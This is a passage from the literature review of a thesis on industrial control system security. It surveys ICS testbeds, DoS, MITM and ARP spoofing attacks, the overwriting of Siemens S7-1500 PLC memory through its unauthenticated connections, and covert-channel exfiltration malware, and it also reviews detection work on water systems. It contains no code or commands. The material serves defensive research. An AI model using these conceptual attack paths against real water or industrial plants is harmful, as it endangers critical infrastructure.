Bradley PLC which can be found in many industrial setups. The HMI, control station 

and network run on virtualized environments. This adds the flexibility of running 

this environment on a cluster of physical computers or large cloud infrastructures. 

Although, it should be noted that the simulation of a large and complex network can 

ignore important technical aspects such as telemetry and latency, which can be 

found in a real network. The set of attacks implemented in this testbed are limited 

to packet delay variation and variable packet loss, which is based on the number of 

TCP packets. It can be argued whether analysing such parameters might increase 

the amount of false/positive alarms when an event different to a cyber-attack 

produces latency on the control network. Vulnerability assessment on physical 

testbeds provides the most accurate results, however the cost of implementing such 

system is considerably high.  

2.3.2 Hybrid testbeds 

Hybrid testbeds try to address the trade-off between cost and implementation.  

The authors (Keliris et al., 2017) provide a hybrid testbed that simulates a non-

linear process called the Tennessee Eastman (TE) chemical process. It integrates 

hardware such as the PLC and a virtual model simulated in MATLAB. The PLC 

communicates with the process through a serial cable. The main drawback of this 

model is that software cannot simulate fast dynamics of some components of the 

testbed. Further, the set attacks performed against this process are represented as 

mathematical equations. Therefore, it can be argued whether those attack scenarios 

can be replicated in a real environment.  

The authors (Rosa et al., 2017) emphasize on more realistic hybrid testbeds. 

The process simulated is a regional-scale energy distribution network using 

specialized proprietary software. They implement a Modbus TCP/IP 

communication between the PLC and the simulated process that resides in a virtual 
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computer.  This allows monitoring and analysing the network traffic aiming to 

discover new vulnerabilities. The set of attacks tested on this testbed include ARP 

Spoofing and MITM.   

The authors (Xie et al., 2018) proposes VTET, a testbed with 2 operational 

modes: hybrid mode and virtual mode. The virtual process used in this testbed is the 

TE chemical process described above. The main difference between both modes is 

that the PLC is physical when the testbed operates in hybrid mode, otherwise, the 

PLC is replaced by a PC. Further, the virtual testbed operates with two protocols: 

OPC/S7 while the hybrid mode adds support for the Modbus TCP/IP protocol. The 

set of attacks employed by the authors are executed at the network level, such as 

reconnaissance and denial of service (DoS). Additionally, a set of sophisticated 

attacks that modify the program running in the PLC program are executed, although, 

they might be impractical in a real scenario because virtual devices have a different 

behaviour that real control equipment.  

2.3.3 Virtual testbeds 

The authors (Tesfahun & Bhaskari, 2016) propose a virtual SCADA testbed for 

research. The system simulates a simple water tank system and it is developed on 

Common Open Research Emulator (CORE). This testbed uses a light version of Linux 

virtualization system. It implements instrumentation devices like sensors and 

valves, Remote Terminal Unit (RTU), Master Terminal Units (MTU) and HMI and 

control equipment such as the PLC. Two attacks: DDoS and MITM are virtually 

developed to test this testbed. Creation of new attacks requires complete knowledge 

of the virtual implementation. In the same way,  (Mallouhi et al., 2011)  introduce 

TASSCS, a virtual testbed created for analysing the security of SCADA Control 

Systems. The testbed involves three zones: 1) Process Control Zone, which involves 

the main control and management services for the SCADA system. 2) Demilitarized 

Zone (DMZ), which manages requests from the corporate zone and 3) Corporate 

Zone which comprises of corporate clients. The attack scenarios include attacking 

vulnerabilities in the Modbus protocol aiming to tamper the communication 

between the PLC and the SCADA system. In addition, attacks such as MITM and DoS 

are proposed. It should be noted that the simulation proposed by the authors 

require a significant amount of computing capabilities. Further, it is arguably 
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whether a virtual DoS attack can have the same behaviour in comparison with a real 

DoS attack because the number of packets generated in a virtual environment 

cannot be the same when it is compared with the number of packets generated by a 

real attack.  

In Chapter 4 we provide a comprehensive review and comparison of the 

physical, hybrid and virtual implementation of the Clean Water Supply System 

implemented and utilized in our research. Table 2.1 shows an overview of the ICS 

testbeds used for cybersecurity research. It includes our three different testbeds 

implemented during this research which is a model of a Clean Water Supply System 

(CWWS) named as: CWSS, CWSS-V and CEWW-H. 

2.4 CWSS testbed 

The CWSS testbed is implemented for cybersecurity research and assessment 

of vulnerabilities against critical infrastructures. It physically models a continuous 

clean water supply system using a custom configuration of the Festo MPS PA 

Compact Workstation Rig(FESTO, 2015). This testbed distributes its components in 

three layers, according to the NIST 800-82 ICS reference model. Layer 0 comprises 

of sensors/actuators involved in the physical process. Those sensors/actuators are 

controlled by a Siemens S7-1500 PLC located at layer 1. A SCADA system and HMI, 

that monitor the status of the process through information provided by the PLC, are 

part of layer 3. Unlike (Ahmed et al., 2017; iTrust, 2018; Miciolino et al., 2016) the 

CWSS testbed implements a set of daily water demand models, which makes this a 

more realistic approach. The water demands models are built based on the UK 

energy consumption, which is publicly available. Water demand models are kept 

simplistic, they ignore variances such as holidays or summer season, therefore they 

could be reproduced in the future. The testbed will be explained in detail in Chapter 

4. 
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Table 2.1 ICS testbeds for cyber-security research 

Testbed Type Components Network 

Protocol 

Attack Vector Reference 

CWSS: Clean Water 
Supply System 

Physical 
PLC, SCADA, 
HMI 

Profinet, 
TCP/IP 

Packet Crafting, 
PLC memory 
corruption 

(Robles-
Durazno et al., 

2019) 

SWaT: six-stage water 
treatment process 

Physical 

PLCs, HMIs, 
SCADA, RTUs, 
Wireless 
Sensors 

CIP over 
Ethernet/IP, 
Ethernet/IP 

Man-In-The-
Middle, ARP 

Spoofing 
(iTrust, 2018) 

FACIES: water 
distribution system 

Physical PLCs, SCADA. TCP/IP, 
Modbus/TCP 

ARP Spoofing, Man-
In-The-Middle 

(Miciolino et 
al., 2016) 

WADI: A Water 
Distribution Testbed for 
Research 

Physical 
PLC, HMI, RTUs, 
SCADA 

Ethernet 
Packet delay 

variation, variable 
packet loss 

(Ahmed et al., 
2017) 

Binghamton University 
testbed. Simulates a 
Power Plant 

Physical 
PLC, SCADA-
HMI 

N/A 
ARP Spoofing, Man-

In-The-Middle 
(Dolgikh et al., 

2011) 

 Testbed Architecture for 
Research 

Virtual 
OPC Server and 
Client, SCADA 
RTUs 

Modbus, DNP3, 
etc 

DoS Attack, False 
Data Injection 

(Tesfahun & 
Bhaskari, 

2016) 

Water Distribution 
System 

Virtual 
Virtual 
Machines: RTU, 
MTU, HMI 

Modbus 
DoS Attack, ARP 

Spoofing 

(Abdulmohsen 
Almalawi, Tari, 
Khalil, & Fahad, 

2013) 

TASSCS: A Testbed for 
analysing security of 
SCADA control systems 

Virtual 
SCADA, HMI, 
PLC Simulation 
using OPNET 

Modbus 
ARP Spoofing, Man-
In-The-Middle, DoS 

(Mallouhi et al., 
2011) 

Power Plant Simulation Virtual 
Three 
computers: HMI, 
PG, IED.  

IEC 60870-5 
Man-In-The-
Middle, ARP 

Spoofing 

(Yang et al., 
2014) 

Simple Water Tank 
System 

Virtual Virtual: RTU, 
MTU, HMI 

Modbus 
TCP/IP 

False Data Injection (Urbina et al., 
2016) 

CWSS-V: Virtual Clean 
Water Supply System 

Virtual 

Process fully 
modelled in 
MATLAB 
including PID 
controller. 

NA False Data Injection 

(Robles-
durazno et al., 
2020) 

 

VTET: A Virtual Industrial 
Control System Testbed 
for Cyber Security 
Research 

Virtual/ 
Hybrid 

Virtual PLC, PC, 
Physical PLC. 

OPC - S7 – 
Modbus 
TCP/IP 

DoS Attack 
(Xie et al., 

2018) 

HITL Testbed: Tennessee 
Eastman (TE) chemical 
process 

Hybrid 

Process 
modelled in 
MATLAB. 
Physical PLC, 
SCADA, RTIB, 
SIB 

Serial-Interface 
Board 

ARP Spoofing, False 
Data Injection 

(Keliris et al., 
2017) 

CWSS-H: Hybrid Clean 
Water Supply System 

Hybrid 

Process 
modelled in 
MATLAB. 
Physical PLC. 
OPC Server. 

TCP/IP 
Packet Crafting, 

PLC memory 
corruption 

(Robles-
durazno et al., 
2020) 

 

HEDVa: Hybrid 
Environment for Design 
and Validation 

Hybrid 

Uses an agent-
based grid 
simulation 
model. Real PLC 
and SCADA. 

Modbus 
TCP/IP 

ARP Spoofing, Man 
In The Middle 

(Rosa et al., 
2017) 
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2.4.1 CWSS testbed comparison 

Physical testbeds provided by the authors (iTrust, 2018), (Miciolino et al., 

2016), and (Ahmed et al., 2017) which are related to the physical testbed 

implemented in our research, operate with the protocol Modbus which is known for 

having a considerable number of vulnerabilities (Feng et al., 2019; Kwon, Taeyean 

and Lee, Jaehoon and Yi, 2016). Thus, the impact of cyber-attacks to critical 

infrastructures that operate with Modbus protocol has been extensively explored. 

Therefore, the research presented in this thesis focuses on analysing the weakness 

of Profinet, a popular fieldbus network which is another popular communication 

protocol favoured by the latest Siemens devices.  

The dataset obtained from the CWSS testbed includes seven days of normal 

operation and four days of attacks. Regarding Cyber Attacks scenarios, in our 

research the set of attacks used to assess the testbed are not limited to common 

network-based attacks like  MITM, ARP Spoofing and DoS, which are used by (iTrust, 

2018), (Miciolino et al., 2016). Instead, a novel approach that overwrites the 

memory of the Siemens PLC used in the CWSS testbed is introduced in our research. 

This attack takes advantage of the lack of authentication for incoming connections 

on the Siemens PLC. The attacker can establish a TCP session between his computer 

and the targeted PLC with the intention of targeting input/output or working 

memory. One of the main issues for Siemens PLCs, from the cyber security 

perspective, is that those spaces of memory are fixed, which means that they could 

be easily targeted.  Moreover, physical testbeds allow understanding the behaviour 

and dynamics of control components like sensors, which might be affected by 

different circumstances such as temperature and electrical interference. Virtual 

testbeds ignore such scenarios and provide an unrealistic sensor operation that 

might influence when developing an anomaly detection system.   

2.5 Cyber-attacks on Industrial Control Systems 

Cyber-threat actors have access to a considerable number of exploits and 

malware available online for free or they can have access to more sophisticated code 

that can be purchased on illegal websites hosted on platforms such as dark web. For 

instance, Stuxnet code, the first malware developed to target the Iranian’s nuclear 
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facility, is available for public download. Stuxnet successfully accomplished its 

mission by destroying a considerable number of centrifuges, fortunately, it did not 

involve human casualties. (McLaughlin et al., 2016) provides a cyber-security 

assessment for different layers of an ICS such as hardware, firmware, software, 

network, and ICS process and potential threats associated with them. Table 2.2 

shows a list of components related to each layer. Hardware layer includes 

components that execute software and store information from the control process, 

such as the PLC. For instance, (Abbasi & Hashemi, 2016) demonstrate the feasibility 

of modifying the runtime configuration of the Input/Output of the PLC. The 

modification of such components allows manipulating the process under control 

without modifying the program coded inside the PLC. This approach requires 

physical access to the PLC in order to execute an exploit that corrupts its memory, 

which allows access to the PLC runtime. Their experimental equipment includes a 

raspberry Pi that mimics a PLC because both devices have a similar CPU 

architecture.  Their captured results show the feasibility of manipulating read 

operations by collecting the information addressed to the input and writing a 

desired value to the Output. Although the PLC and Raspberry Pi share a similar CPU 

architecture, it is not clear whether the architecture of both devices can be 

compared. Usually the Input/Output of the PLC is addressed to a specific space of 

memory while the raspberry PI does not. The Firmware layer resides between the 

hardware and software. It provides the low-level control of specific hardware. 

Attacks against the firmware of a device stand as one of the highest impact threats 

for ICS. This is due to the firmware has privileges that might allow attackers to 

bypass traditional security controls. For instance, the research conducted by 

(Basnight et al., 2013) introduces a more sophisticated attack that exploits 

vulnerabilities that allow uploading of a forged firmware on the PLC. To achieve this, 

the authors analyse the firmware validation methods inside the PLC aiming to 

understand its operation and find weaknesses. They use a popular Allen Bradley 

ControlLogix L16 PLC to demonstrate their approach. The authors obtain a copy of 

the firmware available for the PLC in the vendor’s website. Their aim is to modify 

the firmware version number with a value higher than any version available online. 



Industrial Control Systems Cybersecurity Analysis and Countermeasures 
Chapter 2: Literature review 

 

  

Andres Santiago Robles Durazno  2021  Page 43 

Table 2.2 Attacks on ICS 

Layer Components 

Hardware 

• Processor 
• Volatile Memory 
• Storage 
• I2C 
• UART/USB 
• Expansion Cards 

Firmware • Instructions and 
data 

• Real time OS 

Software 

• Software Packets 
• Human Machine 

Interface 
• Application 

Programming 
Interface 

Network 

• Communication 
protocols 

• Wireless 
• SCADA -DCS 
• Fieldbus Network 
• Remote I/O 

ICS Process • Control Software 
• Actuators 
• Sensors 

 

Their results show that the PLC successfully uploaded a new firmware with a 

forged version number. The authors show a lack of integrity validation during the 

firmware update, however, modifying the version number does not represent a 

threat to the control operation. It is required further analysis that assess the impact 

of malicious modifications that might represent a threat to the control operation.   

The software layer refers to a range of software platforms and applications 

used to monitor and control the operation of systems in industrial environments 

which include critical infrastructures. The vulnerabilities associated with defective 

software might include leakage of confidential data or the modification of 

information by unauthorized users. In most of the cases, vendors report 

vulnerabilities or security issues found in their products. The  Cybersecurity and 

Infrastructure Security Agency (CISA) (CISA, 2019) registers the vulnerabilities 

reported and release the information as soon as they are disclosed.  In recent 

research, the authors (Stellios et al., 2019) provide a comprehensive analysis of 

cyber-attacks that successfully managed to exploit the vulnerabilities found in the 

software used by ICSs. According to their research, a total of 250 zero-day 

vulnerabilities was found in HMI devices between 2015 and 2016.  



Industrial Control Systems Cybersecurity Analysis and Countermeasures 
Chapter 2: Literature review 

 

  

Andres Santiago Robles Durazno  2021  Page 44 

When it comes to performing malicious activities, the network layer is 

undoubtedly the communication channel chosen by attackers. However, it should 

be noted that an attacker may exploit vulnerabilities in software or hardware 

associated with ICSs without the need for tampering the network communication. 

For instance, an attacker might take advantage of the lack of authentication in 

incoming connection on the PLC and craft legit network packets that will modify 

information that resides in the memory of the PLC. The attack surface from the 

network perspective includes security equipment such as firewalls, IDS and IPS; 

communication equipment like routers, switches; wireless devices such as sensors, 

access points and communication protocols. The research conducted by (Xu et al., 

2017) provides a review of vulnerabilities found in protocols used on industrial 

systems. The protocols included in the research are Modbus, DNP3, IEC 60870-5-

104,  IEC 61850, IEC 61400-25 IEC and IEEE C37.118. These protocols are analysed 

under the fundamental pillars of cyber-security such as authentication, 

authorization, encryption, availability, integrity and confidentiality. The results 

show that the group of protocols mentioned above have at least one vulnerability 

associated with one of the fundamental pillars of cyber-security. 

A process is a dynamical system that changes over time. Control systems are 

required to manage such changes in the process. Thus, the dynamic of the control 

process must follow the dynamic defined in the design of the ICS process. The cyber-

actors aim to identify security weaknesses and potential risk associated to any of 

the ICS layers. Therefore, it is required to detect attacks that might modify the 

normal operation of the system or its availability.  

In the context of academic research, the testbeds analysed in the previous 

section (Adepu et al., 2019; Abdulmohsen Almalawi et al., 2014a; Korkmaz et al., 

2016; Rosa et al., 2017; Xie et al., 2018) focus on detecting well-known cyber-attacks 

such as DoS, MITM and ARP Spoofing which are explained below. Unlike those 

approaches, the set of attacks implemented in our research focuses on exploiting the 

vulnerabilities of the latest SIMATIC S7-1500 plc that allow overwriting their 

memory spaces addressed to the Inputs and Outputs. 
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2.5.1 DoS attack 

By definition, a denial-of-service attack is a type of cyber-attack where the 

malicious actor targets a device or network with the intention to make them 

unavailable for other legitimate users (Yu, 2014). In the context of industrial 

systems, (Yuan et al., 2016) defines a DoS attack as the probability that a network 

packet holding information from sensors that compose the ICS does not reach its 

destination. This scenario might be originated when the attacker access to the 

control network and flood it with malicious packets. The authors focus attention in 

the communication between remote sensors that use TCP/IP protocol to send data 

to the PLC. In a different approach, (Ylmaz et al., 2018) studies the DoS attack from 

a different perspective. Apart from the communication between remote sensors and 

PLC, the authors also analyse the impact of DoS attack executed to the 

communication link between PLC - SCADA system and PLC – TIA Portal. Further, the 

author highlights that security devices such as firewalls, IPS and IDS protect the 

control network from external threats, however, there exists a considerable risk that 

the attack come from an insider threat. Moreover,  (Cybersecurity Insiders, 2018) 

suggest that the insider threat such as careless, disgruntled, or malicious employees 

represent a huge risk to the control system. 

2.5.2 MITM attack 

Man-In-The-Middle, which is one of the most used attacks by researchers, 

occurs when a communication link between two systems is intercepted by a third 

party which usually is the attacker (Mallik et al., 2019). In ICS, this attack is normally 

executed between a PLC – HMI, PLC – SCADA or PLC – RTU. MITM can be used to 

collect sensitive information from the ICS such as sensor readings and commands 

sent from SCADA system. The authors (Eigner et al., 2017) collect information 

between the PLC and the Modbus logging client using the tool Ettercap (Pingle et al., 

2018). They execute the attack and collect logging credentials from a user. One of 

the main issues with industrial protocols is the lack of security features such as 

encryption. For that reason, attackers can collect information without being noticed. 

The authors (De Sá et al., 2017) states that an attacker might modify the information 

between the PLC and RTU aiming to modify the physical behaviour of the plant. 
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However, to be able to inject a malicious change to the system, the attacker must 

have previous knowledge of the control process.  

2.5.3 ARP spoofing attack 

ARP or Address Resolution Protocol translates the physical address of a device, 

usually its MAC address, to the IP address assigned to it on a network (Walls, 2012). 

To execute the attack, the intruder injects false information into the network by 

modifying the packets at the TCP level. The intruder aims to impersonate a valid 

host to the eyes of the target host in order to gain its trust. The authors (Lin et al., 

2017) show the execution of a spoofing attack between the PLC and the HMI with 

the intention of showing incorrect measurements of sensors on the HMI. This will 

affect the decision making of operators, as well as the operation of the system. For 

instance, the attacker causes a control system to overheat, while spoofs a normal 

temperature in the HMI. The system operator will not notice such temperature rise 

until the system enters into a critical state. 

Current research in industrial control systems is focused on finding detection 

mechanisms for attacks that have been explored for a long time such as the DoS, Arp 

Spoofing and Man-In-The-Middle. For example, the research provided by the 

authors (Gupta & Badve, 2017; Hassan et al., 2018; Ying et al., 2019) shows the 

feasibility of detecting such attacks because they have patterns that can be easily 

distinguished. For this reason, well-known firms like Cisco, Checkpoint have had 

solutions to mitigate those attacks at the network level (CheckPoint, 2014; Cisco, 

2013) for a long time and even at the host level, as indicated by Kaspersky report 

(Kaspersky, 2019). Below we explain a set of our implemented novel attacks that 

focuses on the memory of the PLC and that were used during the course of this 

research. 

2.5.4 Attacks on the PLC memory 

It is important to understand the operation of the PLC, before addressing the 

attacks to its memory. A PLC makes decisions based on the program coded within it 

by a user. PLCs operate by running a scan cycle and repeat this many times per 

second (Bolton, 2015). When the PLC is placed into run it checks on the hardware 
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and software for faults, then it starts a three-step process: input scan, program 

execution and output write or update (Kamel & Kamel, 2014). This process is shown 

in Figure 3 and described as follows. 

 

 

 

 

 

 

 

Figure 2.3 PLC scan cycle 

Input scan. In this scan, the PLC takes a snapshot of the inputs and determines the 

state of the devices connected (I Memory). Then it saves this information in a data 

table to use in the next step when executing the downloaded program in the PLC. 

This speeds up subsequent processing and maintains consistency in cases where an 

input changes in the period from start to the end of the program(Kamel & Kamel, 

2014). 

Execute program. After getting the information from the inputs, the PLC executes 

a program, one instruction at a time, using only the memory copy of the inputs (I 

Memory) and placing the results in the output memory (Q memory). In addition, 

during the program execution, the PLC may require information allocated in the 

working memory, such as a Process Variables (PV) or Set Point (SP) (Kamel & Kamel, 

2014). 

Output update. The outputs will be updated when the execution of the program 

ends, using the temporary values in output memory (Q Memory). The PLC updates 

the status of the outputs by writing to the memory locations associated with each 

output(Kamel & Kamel, 2014). 

The Siemens S7-1500 PLCs use a fixed space of memory for their inputs and 

outputs (Siemens, 2018). Lack of authentication on Siemens PLC allow an attacker 

to access those spaces of memory from the control network. Unlike related work 
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(Adepu et al., 2019; Mathur & Tippenhauer, 2016), in the scenario proposed in our 

research, the attacker does not require previous knowledge of the system because 

he can overwrite the input memory with random values and havoc the system. 

Further, several researches, for instance the work presented by (Adepu et al., 2019; 

Abdulmohsen Almalawi et al., 2014a; Korkmaz et al., 2016; Rosa et al., 2017; Xie et 

al., 2018) focus on detecting cyber-attack such as DoS, MITM and Spoofing. However, 

those attacks have been studied for years now and they can be mitigated with 

available equipment such as Firewalls, IDS and IPS whereas the attacks proposed in 

this research are novel and represent a threat to the latest PLC available at the 

market such as SIMATIC S7-1500 manufactured by Siemens. Further, another 

drawback with related work is the execution of cyber-attacks on virtual 

environments, which is represented in the work provided by (Mallouhi et al., 2011; 

Tesfahun & Bhaskari, 2016). It can be argued whether a virtual environment can 

provide the conditions required to study the impact of cyber-attacks on critical 

infrastructures. For instance, the operation of virtual and physical sensors may 

differ due to dynamics such as humidity and temperature. 

2.5.5 Covert channel attacks on Industrial Control Systems 

In this section, the work related to data exfiltration in different types of 

networks are discussed. It has been seen that this issue has always been studied and 

measured based on the medium employed for the data leakage. For instance, 

electromagnetics, magnetic, optical (such as keyboard LEDs, hard drive activity LED, 

switch/router LEDs, and screen power LEDs), thermal, acoustic, and electric (power 

consumption).  

For electromagnetics medium, authors in (M Guri et al., 2014; Mordechai Guri, 

Monitz, et al., 2017) presented a malware called AirHopper that disclose sensitive 

data from a highly secure network to a nearby smartphone via radio signals emitted 

from the screen wire. Besides, for magnetic medium, authors in (Mordechai Guri, 

Zadov, Daidakulov, et al., 2018) proposed a malware that can leak sensitive 

information from air-gapped equipment by employing low frequency magnetic 

signals emitted by the CPU cores. Moreover, for optical medium, authors in 

(Mordechai Guri, Zadov, Eran, et al., 2017) presented LED-it-GO covert channel that 

employs hard drive LED to exfiltrate information from highly secure computers. For 
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thermal medium, authors in (Mordechai Guri, n.d.) established a bidirectional covert 

channel using temperature changes between two adjacent air-gapped computers to 

exfiltrate sensitive data. For acoustic medium, authors in (Mordechai Guri et al., 

2016) employed noise deliberately emitted form computer’s fan situated in a highly 

secure network for sensitive information leakage. In this thesis, we introduce a new 

dimension to the existing data exfiltration types called ICS. We first study the three 

popular network categories on existing literature regarding data exfiltration follows 

by our proposed new category contributed to the field.   

2.5.5.1 IoT 

The authors (Ronen & Shamir, 2016), employed IoT smart lights, whose 

functionality is to control the colour and strength of lights in a specified room, to 

exfiltrate information from an office building. Their conducted attacks resulted in, 

a) successfully using the smart lights as a covert Light Fidelity (LiFi) communication 

systems to exfiltrate sensitive data from a highly secure office building and b) 

rapidly changing the light frequency to trigger seizures in people with 

photosensitive epilepsy. For the experiments, they used both high-end (i.e. an 

expensive Philips HUE system) and low-end (i.e an inexpensive smart light 

manufactured by LimitlessLED) IoT smart light systems in addition to an optical 

receiver placed in a safe distance from the target to receive the leaked data. 

Addressing their results, they were successful in covertly leaking sensitive data (e.g. 

passwords and private encryption keys) with a speed of several bits per second from 

over 100 meters. Additionally, they have proposed solutions for the vulnerabilities 

they found. This includes the essential need for penetration testing of IoT products 

and critically thinking about the way the IoT devices are integrated (e.g. in cities or 

in critical infrastructure networks) and separate the lights control networks from 

the Internet to protect against attacks such as blackout.      

The authors (Zheng Zhou et al., 2018), exploited the lack of authentication and 

identification in Infrared (IR) protocol by designing and implementing a malicious 

IR hardware Module (MIRM) in an air-gapped network to control nearby IoT devices 

in order to exfiltrate sensitive information. Their proposed MIRM can control a 

range of IoT devices from smart TV set-top boxes, to smart air-conditioners, smart 

electric fans, and robot sweepers. Using their proposed attack model, they 
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successfully built a covert channel with a smart TV set-top box which is controlled 

by IR signals sent by their developed MIRM module embedded in a compromised 

keyboard. They used a conversion algorithm to send text data from the 

compromised keyboard to the TV set-top box through the covert channel. 

Addressing their results, the rate of the covert channel can reach 3.15 bits/sec.     

2.5.5.2 Traditional computer networks  

The authors (Mordechai Guri, Zadov, Bykhovsky, et al., 2018), proposed a 

malware named PowerHammer that uses power lines to exfiltrate sensitive data 

from a compromised air-gapped computer. Air-gapped networks are used in 

sensitive and restricted environment/applications such as military, critical 

infrastructure, and finance sectors. Their proposed PowerHammer malware runs on 

a compromised air-gapped computer in which the sensitive data is transmitted on 

top of the computer’s current flow and then encoded and exfiltrated out of the air-

gapped environment using the power lines. They then introduced two types of 

attack to retrieve the exfiltrated data from the power lines: line level power-

hammering where the attacker places a probe on computer power cables and phase 

level power-hammering where the probe is placed in the main power panel of the 

whole floor. Addressing their results, they were successful in processing the signals 

from the power lines in both attacks and decoding them back to the original 

sensitive data. Some detection and prevention techniques such as: host-based 

detection, signal jamming, and signal filtering are also discussed by the authors.    

The authors (Mordechai Guri, Zadov, Daidakulov, et al., 2017), used a row of 

status LEDs on switches and routers to exfiltrate sensitive data such as: encryption 

keys, passwords, and files from a highly secure air-gapped network. For this, they 

developed and then executed their malicious code on a LAN switch and router which 

allowed them to have full control of the status LEDs. The malicious code then 

encoded and modulated the sensitive data over the blinking of the LEDs. The 

generated signals were then recorded by various receivers such as remote cameras, 

security cameras, smartphone cameras, and optical sensors. Addressing their 

captured results, they were successful in covertly exfiltrating the sensitive data from 

the highly secure air-gapped networks via the status LEDs on switches and routers 

from a bit rate of 10 bit/sec to more than 1Kbit/sec per LED.  
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2.5.5.3 Smartphones 

The authors (Chandra et al., 2014), analysed various covert channels on mobile 

phones with a particular focus on the available hardware resources that can be 

exploited and then maliciously used to leak data between applications on the same 

device. In their presented work, they have discovered two covert channels including 

the battery and the phone call component. Additionally, they proposed a new 

communication protocol which can be used between their two discovered covert 

channels in order to achieve high throughput. For their experiments, they used a 

Samsung Galaxy S phone running Android version 4.2.2 using the throughput metric 

(ratio of the input length and time taken) to evaluate their discovered concealed 

channels along with their proposed communication protocol. Their study showed 

that a high throughput (more than 30kbps) can be achieved with the use of phone 

call component as a covert channel. 

The authors (Schlegel et al., 2011), proposed a malware named Soundcomber 

which is a stealthy and context-ware sound trojan for smartphones.  The 

Soundcomber has access to on-board smartphone sensors (i.e. audio and 

microphone) for illicit collection of sensitive information such as credit card data and 

PIN numbers from both tone and speech-based interactions with the smartphone. 

For the experiments, the authors used two scenarios. In the first scenario, the 

Soundcomber used a legitimate application with network access such as a 

smartphone browser to exfiltrate sensitive information and in the second scenario, 

the malware used a paired Trojan application with network access for the sensitive 

data leakage. For evaluation, they considered effectiveness (i.e. service hotline 

detection, tone/speech recognition, detection by anti-virus applications, and 

reference monitor) and performance (i.e. service hotline detection, tone/speech 

recognition, covert channels, and reference monitor) all representing success for the 

Soundcomber malware.  

In this thesis, ICS, which is now being integrated into the IoT ecosystem, is 

presented as a new category of data leak attack as exfiltration of ICS data could have 

more devastating impacts compared to the other three categories mentioned above. 

ICSs have been widely used in critical infrastructure and large industries where the 

career and well-being of nations depend heavily on their continuity and operations. 
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Therefore, the protection of these utilities, which provide critical services to the 

nation, against attacks such as data leakage is of vital importance given the difficulty 

imposed by any failure or damage to these systems and / or their services. Further, 

a new malware called WaterLeakage is introduced as part of the research presented 

in this thesis. This malware targets the ICS and more specifically a PLC used in a water 

treatment system. More detailed information will be provided in Chapter 3. 

2.6 Mechanisms of cyber-attack detection on water systems 

This section covers the current state of the art in attack detection mechanisms 

in industrial systems with an emphasis on water supply systems. This research 

approaches this topic from two perspectives: Computer Science and Control 

Engineering. The literature review described in the following sections includes both 

approaches.  

2.6.1 Control engineering. 

Researchers have studied cyber-attacks on water systems (e.g. water 

treatment systems and clean water supply systems) in the past. In this section, 

several existing works related to attack vectors are discussed, as well as the 

detection and response of attacks in water treatment systems, with a particular 

focus on those targeting the sensors/actuators on Secure Water Treatment (SWaT) 

system (Mathur & Tippenhauer, 2016). Almost all work published in this area 

employs the SWaT testbed. The reason for this approach to the literature is because 

we employed the physical Festo Rig(FESTO, 2015) to implement a Clean Water 

Distribution System testbed in addition to our novel attacks, which are based on 

injecting wrong sensor/actuator values targeting the PLC memory vulnerabilities. 

Table 2.3 provides a survey of relevant work from the control engineering 

perspective. 
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Table 2.3 Control engineering survey 

Testbed Attack Vector Findings Author 

• SWaT • Sensor jamming • Authors does not provide details of the attacks 
executed against the testbed. 

(Adepu et al., 
2017) 

• SWaT 
• Sensor swap attack 
•  Sensor replace 

attack 

• Attacks used in their research might not be 
feasible in a real deployment. 

• The number of false/positive alarms can be 
affected by external factors because noise 
vectors are highly sensitive to such 
disturbances.  

(Ahmed & 
Mathur, 2017) 

• SWaT 
• Attacks generated 

from plant model 

• Attack scenario not feasible in a real 
implementation, It requires a considerable 
amount of data from the control process. 

(Kang et al., 
2016) 

• SWaT 

• Single Stage Single 
Point (SSSP) 

• Single Stage Multi 
Point (SSMP) 

• It is unclear how the authors distinguish 
sensor failure from anomalies. 

• Paper does not provide details of the attacks 
performed agains the control system. 

(Adepu & 
Mathur, 2017) 

• SWaT • No details of attacks 
• Author implementation adds an extra 

overhead to the process which can be 
derimental on real time processes 

(Clotet et al., 
2018),  

• SWaT 
• ARP 
• MITM • Authors does not provide a clear overview of 

attack implementation 

(Mathur & 
Tippenhauer, 
2016) 

• PLC S7-400 
• ARP 
• MITM 

• Author does not provide details of the defence 
mechanism claimed to have implemented in 
the paper. 

(Ghaleb et al., 
2018) 

 

The authors (Adepu et al., 2017),  studied the behaviour and response of a 

Cyber-Physical System (CPS) by implementing jamming attacks on the SWaT system 

employing Software Defined Radio (SDR) exposing vulnerabilities associated with 

the design of the system. In their experiments, the attacker’s objective was to block 

Level 0 and Level 1 network communication channels. While the former, which is 

also referred to as the field-bus network (Kamel & Kamel, 2014), is a communication 

path among each PLC and a set of sensors and actuators, the latter provides a 

communication route among the PLCs in a SWaT system. Addressing their captured 

results, jamming Level 0 caused the compromised sensors to stop sending data 

without the operator being alerted via the SCADA/HMI system. Nevertheless, 

jamming Level 1 resulted in disconnecting the unit’s wireless link from the SCADA, 

HMI and the SWaT Server, therefore, notifying the operator that there is a 

communication problem due to the significant impact on the event. 

The authors (Ahmed & Mathur, 2017), presented sensor noise fingerprinting 

to detect attacks on physical components of a CPS with a focus on ultrasonic level 

sensors on the SWaT testbed. To calculate the noise fingerprint for a sensor, they 

first collected its data from healthy runs that contained no attack. The noise is then 

extracted from the collected data and averaged to obtain the sensor fingerprint. 
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After the noise fingerprinting for all the sensors are collected, fresh data will be 

obtained by running the SWaT plant. In the end, the noise vector of the fresh data is 

extracted and correlated with the respective sensor’s noise fingerprints to detect 

anomalies. For the experiments, the authors implemented two attacks: sensor swap 

attack, where the attacker swaps level sensors between two tanks of the SWaT 

systems, and sensor replace attack, where the attacker brings his sensors and 

replaces them with the existing ones. Addressing the results, their proposed 

approach was successful in detecting anomalies on the testbed. However, it should 

be noted that the attacks used in their research might not be feasible in a real 

deployment because, in most scenarios, the systems that monitor the control system 

operation alert when sensors go offline. Further, the number of false/positive 

alarms can be affected by external factors because noise vectors are highly sensitive 

to such disturbances.  

The authors (Kang et al., 2016), proposed an approach in which the behaviour 

of the first three stages of the SWaT plant along with its sensors and actuators is 

captured in approximate, discrete models, and their interaction is analysed to 

discover potential attacks that involve several compromised sensors and actuators. 

For this, they first extracted a model of the system from the code and provided the 

attack specifications. Using these two elements, they then employed an Alloy 

analyser to automatically generate an attack scenario describing how the system can 

be compromised and ended up in an unsafe state. The attack planner is then used to 

simulate the impact of the generated attack on the system. They then performed the 

validation sequence on the SWaT testbed to confirm whether the attack is feasible 

or invalid. This process continues until the analyser fails to detect any further 

attacks on the system. Their results showed that their proposed model-based 

approach is successful in automatically discovering and exploring attacks on the 

water treatment system.   

The authors (Adepu & Mathur, 2017), the authors proposed a Design to 

Invariants (D2I) approach to derive state-based invariants programmed into a PLC 

